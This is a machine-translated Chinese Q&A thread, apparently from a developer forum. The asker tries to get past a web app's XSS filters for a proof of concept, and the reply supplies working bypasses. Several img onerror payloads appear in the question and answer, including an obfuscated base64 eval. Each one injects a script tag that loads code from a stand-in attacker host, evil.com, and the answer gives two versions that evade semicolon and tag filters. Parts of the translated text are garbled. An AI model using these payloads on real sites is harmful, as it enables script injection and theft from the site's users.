我发现一个Web应用程序容易受到XSS的攻击,并且可以使用img
标签来运行某些javascript,但是我使用的方法破坏了页面的其余部分,因为它们使用了一些过滤器来尝试阻止它。
到目前为止,我检测到的过滤器如下:
</anythingyouwant>
一无所获/>
一无所获;
被替换为空格,直到下一个>
<img src="." onerror="alert('xss')">
前的传递方式注入<img src="." onerror="alert('xss')">
效果很好,但是这些开发人员对此表示怀疑,并希望看到完整的javascript代码的完整PoC。完全可以运行任意脚本吗?
我尝试过:
<img src="." onerror="eval(atob('Yj1kb2N1bWVudDthPWIuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7YS5zcmM9Jy8vZXZpbC5jb20vbXlzY3JpcHQnO2IuYm9keS5hcHBlbmRDaGlsZChhKQ=='))">
结果:太长,即使URL缩短了<script src="//evil.com/myscript" />
结果:无法像这样关闭脚本标签,并且它会被过滤,并且通过网络应用程序省略“ closing”标签而破坏了页面的其余部分<script src=//evil.com/myscript"></script>
结果:被过滤,如上所述破坏页面的其余部分<img src="." onerror="b=document;a=b.createElement('script');a.src='//evil.com/myscript';b.body.appendChild(a)">
结果:分号被过滤,导致网页中断<img src="." onerror="b=document a=b.createElement('script') a.src='//evil.com/myscript' b.body.appendChild(a)">
结果:不确定这是否是有效的js,但是它按预期方式出现在Chrome view page source
中,但无法按需运行我正在使用chrome进行测试,以防万一它与之相关。
答案 0 :(得分:1)
您列出的安全措施绝对不足。我可以想象为您工作的两个示例:
<img src="." onerror="document.write('<script src=\'//evil.com/myscript\'><'+'/'+'script>')">
或使用,
而不是;
的版本:
<img src="." onerror="b=document, a=b.createElement('script'), a.src='//evil.com/myscript', b.body.appendChild(a)">
但是我绝对可以确定还有很多其他方法可以做到这一点。您还可以检查在cheat sheet中找到的以下this answer。